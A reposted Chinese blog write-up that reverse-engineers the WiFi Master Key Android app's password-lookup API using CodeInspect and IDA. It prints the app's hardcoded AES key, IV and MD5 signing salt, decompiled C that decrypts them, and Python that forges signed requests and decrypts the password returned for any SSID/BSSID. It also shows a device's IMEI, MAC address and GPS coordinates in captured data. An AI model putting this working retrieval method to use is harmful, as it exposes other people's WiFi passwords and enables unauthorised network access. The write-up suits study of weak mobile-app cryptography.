使用CodeInspect破解WiFi万能钥匙接口协议
APP漏洞挖掘, 安卓逆向分析 by droidsec
在上篇文章中我已经使用CodeInspect对WiFi万能钥匙进行了演示分析,在大概分析了下它的代码后,我发现这款APP并没有做什么加固措施,导致接口很容易就可以被分析出来。事实上在去年网上就有针对WiFi万能钥匙接口协议的分析,在经过多次版本迭代后,新版的Wifi万能钥匙在安全性上似乎并没有太大的提升,虽然接口有一些变化,但是核心的加密算法却没有改变并且很容易被逆向。凭借CodeInspect,我很快的就分析出了它的代码逻辑,并且写了一个查询脚本,在文章后面会提到。
功能分析
我们首先来看一下Wifi万能钥匙的主界面,可以看到主界面有一个一键查询万能钥匙的按钮,这个按钮的功能是扫描附近的Wifi,根据Wifi信息找出服务器上存在密码的Wifi。如果服务器上有这个Wifi的密码在这个Wifi一栏的后面显示一个蓝色的小钥匙,如下图中的”360免费WiFi-10”,这个Wifi是我故意上传密码来测试接口的。
但是这个查找过程并没有返回密码到客户端,只是标记了可以连接的Wifi,真正根据Wifi的SSID和BSSID获取密码的过程是在点击了标记了的Wifi后,再点击”钥匙连接”,并且”钥匙连接”这个选项只有被标记了的Wifi有,没有被蓝色钥匙标记的Wifi只有密码连接的选项。
我们的需求是输入Wifi的SSID和BSSID就能查询到Wifi的密码,所以可以知道我们要找的关键代码就在点击了这个”钥匙连接”后的过程中。通过配置好网络代理后(这个网上已经有很多教程了),我们就可以抓包分析它的接口。在点击”钥匙连接”后,可以看到APP首先向”http://ap.51y5.net/ap/fa.sec“ 提交了这样一段数据:
|
appId=A0008&pid=00300108%3A00300111%3A00300110%3A00300901&ed=27C6B45D6184F0FF3C8375CE448755C7B2E09E2EB66BBEAEC8029C0C5BB32244E45E6392081FC728E933EE062B9ECA1B8695A40195C0333BFAC531BB9680AC227BA58ED7FEC136DA8155F069A0BA2852A06A10CF3AF041A38FDFC872050B4E888B693B351AF874BE803E205EA752EC14EC56ED16DF83FA55F28F2133B32968D4CA8FAFF72CBFF057652979FD7DA6541EF339271F0510F1E9F595C06D694D0F1306DE1B4E924006165FC54AEE5D8E0163ACF9F1FAB075FCDDCA3D3B9346246DF6B4498945FCC2A9A70ECAB7A865134A9B4D6510BA8FF78CDF9E48DE3F1EBFE248E35ACFED75C32E088E4C507F90BB2E7668B0468D83D9FECFDFE454E19C26169A52CFFEDEAB10346ACA4FCEB61E1C5DDE3F5E9E9603E31AF8B944CFD7491E0171551B02BA2E9F1EAC12C5E1FD3621D3D3AC4787E5334EFE21F4C028CD42317CAAD87B061B86FC01964C9BD9EE3F31B9DDDB19DC8BB308811B0767609DA873F3924389EE3A15CB7C8FA518CF838EE5EBFE7CFB062A529A425FF1BE24351888DAA97158C59E0A6C061B12337D03EBE411188B9FA936AC217030A5FE8FCFA310C4797D7A9174A41455FC158FAAD1B07D9F63B988276608A38453ECD22A8A3C45B628B1DEE9ADC9E7B757879EFF3DA25969F2F488A6C9F11B3F7ED0F4F194B7B761605B8FFA484749FA0A9EB3A1CE7D47E3C237840DCA6639C3DA51E30642AF6CA76A50AAD98A58A52A0040058C322EB2BB93D188AFD17608294EDEAD0A0F0E2898EA3EF4AE7B312BCE50883B36C7FC4E90C1F47BEA1BB6B869FACCF43A87DBAFCC6312D8F9F62A6FF639F15A8896428187FE2B003C67F31F9E180D4EFB82174D7494E111C8BE33266A46D028668B04859111C38170B268374FB2F9452087DE8C2F55ADB8F8E01B71D70577D3B6C9915A08563B46C81D4E0CD43E1AED2BAF22E33C235E2612581FB3E41D927DCE447B507C22F0B422E32AC6EB97D56FB89C9CFEF1AA210BC8AC9E960A938F7ED1228F908D61646A8FA3070AE0B5F60C2BA9209052F72EA462FF6371A744DDB7E0F68E196048082A837B0257F7658B20376E76464678D52464FEAC594D72C27070024F64A1A44928FF8CC1631894EE2CCE6498A6607DB6D80DF183F791A1F957623B6C3815E02AFC6A189847F8A61DCB0FF6284714CC53DD4554FDD7FD09080CE919BEAC835FB2B8EF6CAF51257E42DC69EBFECD1F308BD4D909314B4251AA39BE9EFD23A7D9682ED1B005355E7EBD12DF8F3C29F34F7F51640AD0059DD12EEA2EDB90CAEF843461CEF579C38191DF5D349A5E63A972764E0CD18806192695315B04B1F6113CB1635DEA4893479FB662664D4652C5D9A670BE3A66F38E99FF341F853766091BE5125B929588EB6A58FFCFBE68E0AFA1EB98B7A28DA9EAE5EB666473E79B34172AEC31888497C0BB80D0B7F14491C2025347D8CAA795E72F09E9D3359CA233687F87A64E17044CAF6FB4F3276CFBC31428EB4381F0C0AB3070245FAF56DB70D0C2FFC1739502B11EBEAA3C4244B01827006007DD9BCCB555B0024484B56CEF13B168D6A73DC72975C53DC77CD781513F580D2B1011D7800292DA176667726EE1EE7EA911ADE88327A5360C21CD81829B5B2DBD029AA9A0DFAEEA0E6FD8702D9752346CE1EF6CDD369451192E814B30C69345DF21F2ECCB8E3D311876F4CB0D9E97332DCCAB642ABA71BCE78D51C5FCCF1E4D44D84303DBD54A60BEE55DAC5CEE60786FDD86B24609A6E1865FBF01571471971F4BB805AEF051E3D6150EF8286467D44A13A066067A3E224B8C2E5DA095D4C483B366A698330A6FCFBFBEBB46D62A1CC22CDEAFBF220C4B2DF610D931D30908035984E4C3486D9950A8775B9A4ADE31CE3FB16D4582C8C6A8B8B0CFD8A67D47E7DC235BC9A603D7508ED7849CBF21E024F2FD24A84AA088DDB2B5210B8B5397010E29FAE6F622B80D4A8131D8B967E0852B7F2E5CFDDF45AB1ED28E0A3E6E55347BF6B7AA99B0ED70BC7E9F4903233080D4CE22B91C507F681E4656116CFC9BEB6FBF10FA870CB0F43736184377F68C13BE5D1101FAA390246C2468C3C2FA81C1DF1868FC83BF7000C9E9243E2FFE46FEF78EAC175D5AFFD51942BD99983346368F8702550534B935A4A765C534D89B503E6FE1D216E8AD114E95795E803C4409CD0A44A54BE93056DFEECA9009C29DDF4D94F2BC0B7712040F357FF4E50AB528FF51850D427854F0FCEE6CD0745FF78438E39BA2488D5C77FD935E6D8EFB06CC40EF7120EF28D667F3CC2A70B50DF1F6F3D7B053D6A287A4BC9778AA223B428788713EEA2F59A73B2AA337ECB947F95807250C7DD55C7DB82746C8150096E89E8ECC1F574440FD1A1CE9CB5F9653606ACB7C72CF8DA7A78C5D6DB6C05ADAF93ABA92119F8F57E6A06126B4B8D57EB000C6D643E10CAE0389463D4B75095D3940D72D222A1727E1C595FD54D25AE7EDE702C42C1328F4849AB69A97C926FD1A391C5F43FB766194339B4863AF374DB3DFE57E223F3E0E3ED256ED44D16E4CD0DD94A9AE1AEB50BD1FD1D38D10815AC31BD36DCBBCDE0FE64BA266A36AD160C44647F18F5B2EC0BF28DE724AE58B4812310B594B30C1D8067B8D47DB96A08C7861207C79BBE62A9AB46220428B968EF4171038C1FA3700BC7732D07DA7EF61FDA9DDD4B1CD6A8659D4F82D7D8C1A82B8BE56835CA9DF343EFE62DDBAF3F2359077254E5DB27E689CFF3F8E2EA1BB96C63FD2D24B459C84AD6AD5238168E634CDD3EEA250C85EA7F6915FE7C4A28D3E0DD290EAD631CFF6D615EE277603225F305056385FB2C9569E04E1A5F9449F2EFFD8EB7BCC6A21C85EAFC7CB8F98307C5329F40A008E6E03420121C584A1720167B629DB5A7387FC9B991F4FC0FB5354CD6B51EDD12AE8C53B260BE3B223EC5DD009BC970B93DFF5E95BF2DDC670C965F23F9DD223630A6B8469436C12D8BB7D247C7339FED19702B4C7AF3FD1098431AC753855696EE01AF77D2729F437E1346AA456FBF81FE22BD613E6E83C7612820088A1D79250A339F1BAFC4A21FAF305C382A682BC8AECF76EED60B255A6FDABE235817BB86CBA0F498EB6CD07D4E90D5F96393AB02F70557C443672A187652D63EDF50FB1FA5A27815BF76D6689185D610CE834F52A50D79C8AA9AA17D3A45DE82CB076C81C13B053EC59A227B79AA64104B799E3D45684E26EB31ECE2B16F58BEFFE47CB5E22915E92AAC6A1ABEF08CD75EF01951A781B1EA307BC82D6416E9FEDB52C9C6F21FA8C12048DAAC165910FAA04BBBBF5E676887CBBF5038B4D3BFC11F0CC81C0923E7EEDCEF3FFCC2B076455E8A24182306EC6C9817CDA3DDDC143B80B8A332345A0005044BAED1471385A82977ACDD9B89853DF2CC638791EA125B6C2FF22D4DE728D0852FA4C0924215B6A04C8C63A5FC21C32F0CB60482D6CB654C0C40C958B7C1F11367FC7ADB592E595A684C659E0D78B28859766C6A6D0471537A89EFABB0B41DEE41CCC2ABAC58C397041B5C42F4D8EE7BF000546C613906829890C37883C32ECDC7E330E84DBE29EA88E8F9CB80A978BC5364A57BB&sign=1f554b57bc2f283a83294f1a2c401174&st=m&et=a
|
我们注意到这段数据中并没有明文包含需要查询的Wifi的BSSID和SSID,并且ed这个字段的数据特别大,所以可以猜测Wifi的信息被加密成ed这个字段。知道这个后我们需要定位到关键代码,也就是这段数据生成的地方,方法有很多种,我是通过搜索字符串’sign’然后定位到了’com.lantern.core.i’这个类的b方法。
i这个类中有几个方法都和b方法相似,那么到底哪个才是查询密码的时候调用的呢,这就需要用到动态调试,使用CodeInspect对这几个方法下断,然后逐一排除最终确定了b方法就是查询密码所使用的方法。分析这个方法我们可以看到ed这个字段是WkSecretKeyNative.a方法返回的,其中第一个参数是一个Json对象转成的字符串,v1和v0是有k.b()返回的固定字段,分别是下图b()方法中的的b和c。
所以可以确定的是Wifi的信息都被保存在第一个参数中,也就是一段Json数据中,那么我们是不是需要继续逆向找出这段Json数据的生成代码呢?那样做就太麻烦了,可以直接通过动态调试找到这段Json。如下图,需要注意的是在这个方法下断后,Debug时会多次断在这个地方,有的是其他代码调用了这个方法,所以传入的数据不是我们需要找的数据,一定要在点击”钥匙连接”后,弹出的”正在连接”的窗口出现并且一直等待的时候才是我们要找的数据。
将这段数据复制出来,然后格式化一下,像下面这样:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|
{
"origChanId":"xiaomi", //固定字段
"appId":"A0008", //固定字段
"ts":"1459957500899", //固定字段
"netModel":"w", //网络模式 不关注
"chanId":"guanwang", //下载渠道 不关注
"imei":"357541051318147", //手机imei 不关注
"qid":"", //未知
"mac":"e8:92:a4:9b:16:42", //mac地址 不关注
"capSsid":"hijack", //当前连接wifi的Ssid
"lang":"cn", //语言 不关注
"longi":"103.985775", //经度
"nbaps":"", //未知
"capBssid":"b0:d5:9d:45:b9:85", //当前连接wifi的bssid
"bssid":"b0:d5:9d:56:82:10", //要查询的wifi的bssid
"mapSP":"t", //未知
"userToken":"", //Token 不关注
"verName":"4.1.8", //版本号
"ssid":"360免费WiFi-10", //要查询的wifi的ssid
"verCode":"3028", //版本代码
"uhid":"a0000000000000000000000000000001",//固定字段
"lati":"30.579594", //纬度
"dhid":"9374df1b6a3c4072a0271d52cbb2c7b6" //设备的标识
}
|
我们主要关注的就是上面字段中的”bssid”和”ssid”,这两个就是我们要查找wifi的密码的标识。其他字段都可以就用上面的值,另外”dhid”这个字段是一个标识,当查询过多这个值会被服务器封锁导致无法使用,所以需要重新生成一个值,这里先不考虑这种情况。
获得上面的数据后我们的工作就是来分析ed这个字段是怎么生成的了。继续跟踪代码,可以看到最终调用了so层的ep方法,这个方法在”libwkcore.so”中。
使用IDA打开这个so,可以发现并没有做加密,代码的逻辑也很简单,主要就是将传入的第2,3个字符串解密,然后作为key和IV和第1个字符串也就是传入的Json数据做AES加密。
这里的process_str函数主要用来将前面传入的第2,3个字符串也就是”FciCx&q6E!I50#LSSC”和”C474pXF$t%s%12#2bB”解密,可以看到这两个字符串都是18位的那么解密后应该是16位的。所以我们需要知道解密后的字符串,可以逆向分析这个函数,但是那样其实麻烦了,可以直接通过动态调试直接获得加密后的字符串,因为这个so并没有任何加固处理,所以F5后的代码非常清晰,我这里直接把这部分解密代码拷贝出来然后编译,得到了AES加密用的key和IV,这种方法也是在逆向算法时常用的方法。加密代码如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
|
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include"defs.h"
void cyclicShift(_BYTE*a1,signedinta2)
{
signedintv2;// r5@1
_BYTE*v3;// r4@1
signedintv4;// r0@1
signedintv5;// r6@1
intv6;// r7@1
intv7;// r0@1
_BYTE*v8;// r5@2
v2=a2;
v3=a1;
v4=strlen(a1);
v5=v4;
v6=v2%v4;
v7=v4-v2%v4;
if(v6<=0)
{
v6+=v5;
v8=malloc(v7+1);
}
else
{
v8=malloc(v5+v7+1);
}
strcpy(v8,&v3[v6]);
strcat(v8,v3);
strcpy(v3,v8);
v3[v5]=0;
free(v8);
}
_BYTE*str_mid(_BYTE*a1,inta2,inta3)
{
intv3;// r7@1
_BYTE*v4;// r5@1
intv5;// r6@1
_BYTE*v6;// r0@1
intv7;// r3@1
void*v8;// r4@1
v3=(int)&a1[a2];
v4=a1;
v5=a3;
v6=malloc(a3+1);
v7=0;
v8=v6;
while(v7!=v5)
{
v6[v7]=*(_BYTE*)(v3+v7);
++v7;
}
v6[v7]=0;
strcpy(v4,v6);
free(v8);
returnv4;
}
intc_to_i(inta1)
{
unsignedintv1;// r2@1
intv2;// r3@1
intresult;// r0@1
v1=a1-65;
v2=a1;
result=a1-55;
if(v1>5)
{
result=v2-48;
if((unsignedint)(v2-97)<=5)
result=v2-87;
}
returnresult;
}
__int64 process_str(_BYTE*a1)
{
_BYTE*v1;// r4@1
intv2;// r6@1
intv3;// r5@1
__int64 v5;// [sp+0h] [bp-20h]@1
LODWORD(v5)=a1;
v1=a1;
v2=strlen(a1);
HIDWORD(v5)=*v1&1;
v3=c_to_i(v1[v2-1]);
str_mid(v1,1,v2-2);
if(!HIDWORD(v5))
v3=-v3;
cyclicShift(v1,v3);
cyclicShift(v1,v3);
returnv5;
}
intmain()
{
chars[0x64u];
char*v9="FciCx&q6E!I50#LSSC";
memset(&s,0,0x64u);
strcpy(&s,v9);
process_str(&s);
printf("%sn",s);
}
|
编译执行后得到AES用到的key和IV分别为”!I50#LSSciCx&q6E”和”$t%s%12#2b474pXF”。有了这些数据,我们就可以编写python脚本通过ssid和bssid查询密码了,得到ed字段的代码如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
|
dt=collections.OrderedDict()
dt['origChanId']='xiaomi'
dt['appId']='A0008'
dt['ts']='1459936625905'
dt['netModel']='w'
dt['chanId']='guanwang'
dt['imei']='357541051318147'
dt['qid']=''
dt['mac']='e8:92:a4:9b:16:42'
dt['capSsid']='hijack'
dt['lang']='cn'
dt['longi']='103.985752'
dt['nbaps']=''
dt['capBssid']='b0:d5:9d:45:b9:85'
dt['bssid']='b0:d5:9d:56:82:10'
dt['mapSP']='t'
dt['userToken']=''
dt['verName']='4.1.8'
dt['ssid']='360免费WiFi-10'
dt['verCode']='3028'
dt['uhid']='a0000000000000000000000000000001'
dt['lati']='30.579577'
dt['dhid']='9374df1b6a3c4072a0271d52cbb2c7b6'
dt=json.dumps(dt,ensure_ascii=False,separators=(',',':'))
dt=urllib.quote(dt)
j=len(dt)
i=0
while(i<16-j%16):
dt=dt+' '
i=i+1
cipher=AES.new(b"!I50#LSSciCx&q6E",AES.MODE_CBC,b"$t%s%12#2b474pXF")
ed=cipher.encrypt(dt).encode('hex').upper()
|
但是只改变ed字段,其他字段使用抓包得到的数据提交,会返回如下信息:
很明显是提交字段中的sign字段不正确,继续分析com.lantern.core.i的b函数,可以看到sign是调用com.lantern.core.d的b方法,传入的参数是一个HashMap也就是保存提交数据的HashMap和一个固定字符串,这个字符串也是k.b()方法返回的,值为”CedH3%A^uFFsZvFH9T8QAZe*Lm%qiOHVEB”。
d.b方法主要就是将传入的HashMap排序然后将所有的value取出来组成一个字符串然后传入到WkSecretKeyNative的a方法中。
a方法调用native层的md方法,获得一个字节数组,然后通过位运算将字节数组转换成一个字符数组。通过md这个方法的名字我们可以猜测这个方法是求md5的值,使用IDA打开so后可以看到。
打开getDigestedBytes这个方法可以发现这个方法是调用了Java层的MessageDigest类来求MD5的值。
md方法中同样使用了process_str方法来解密字符串,使用前面的方法,获得解密的字符串为”*Lm%qiOHVEedH3%A^uFFsZvFH9T8QAZe”。解密后md方法将这个字符串拼接在第1个字符串的后面然后求MD5。
获得签名的python代码如下:
1
2
3
4
5
6
7
8
9
10
11
12
|
data={}
data['appId']='A0008'
data['pid']='00300109'
data['ed']=ed
data['st']='m'
data['et']='a'
ss=""
forkey insorted(data):
ss=ss+data[key]
salt='*Lm%qiOHVEedH3%A^uFFsZvFH9T8QAZe'
sign=getMd5(ss+salt)
data['sign']=sign
|
知道了这些后我们就可以向服务器提交数据并且返回正确的数据了。如下图:
很明显,返回的Json数据中的pwd字段就是密码,但是是加过密的,要得到明文密码我们还需要对这个密码进行解密。通过搜索”pwd”字符,我们可以找到关于密码的关信息息。在com.wifi.connect.d.a的a方法,这里将获取到的明文密码加密然后放到一个HashMap中,可以猜测这个是用来备份密码上传到服务器的,这里上传到服务器上的密码是调用WkSecretKeyNative这个类加密的,所以要想解密密码,只需要找到这个类是怎么加密密码的就可以了。
打开这个方法后我们发现它最终调用的加密函数和加密ed字段的函数一样,并且传入的key和IV也是一样的,所以就不用分析了,直接使用前面加密ed字段的对象解密就可以了。
|
cipher=AES.new(b"!I50#LSSciCx&q6E",AES.MODE_CBC,b"$t%s%12#2b474pXF")
pdd=cipher.decrypt(epwd.decode("hex"))
length=int(pdd[:3])
pwd=pdd[3:][:length]
print"password is: "+pwd
|
最后运行脚本,就可以获得明文密码了,如果需要查询其他Wifi密码只需要将ed字段中的ssid和bssid修改成要查询的wifi的就可以了。完整的脚本可以在我的github上找到,因为时间关系,没有考虑到dhid,并且代码本身也没有怎么优化,以后有空了再更新吧。
转载自:http://zke1ev3n.me/2016/04/06/WiFi%E4%B8%87%E8%83%BD%E9%92%A5%E5%8C%99%E6%8E%A5%E5%8F%A3%E5%8D%8F%E8%AE%AE%E7%A0%B4%E8%A7%A3/
原文标题:WiFi万能钥匙接口协议破解
原文作者:zke1ev3n
codeinspect
10
2016-08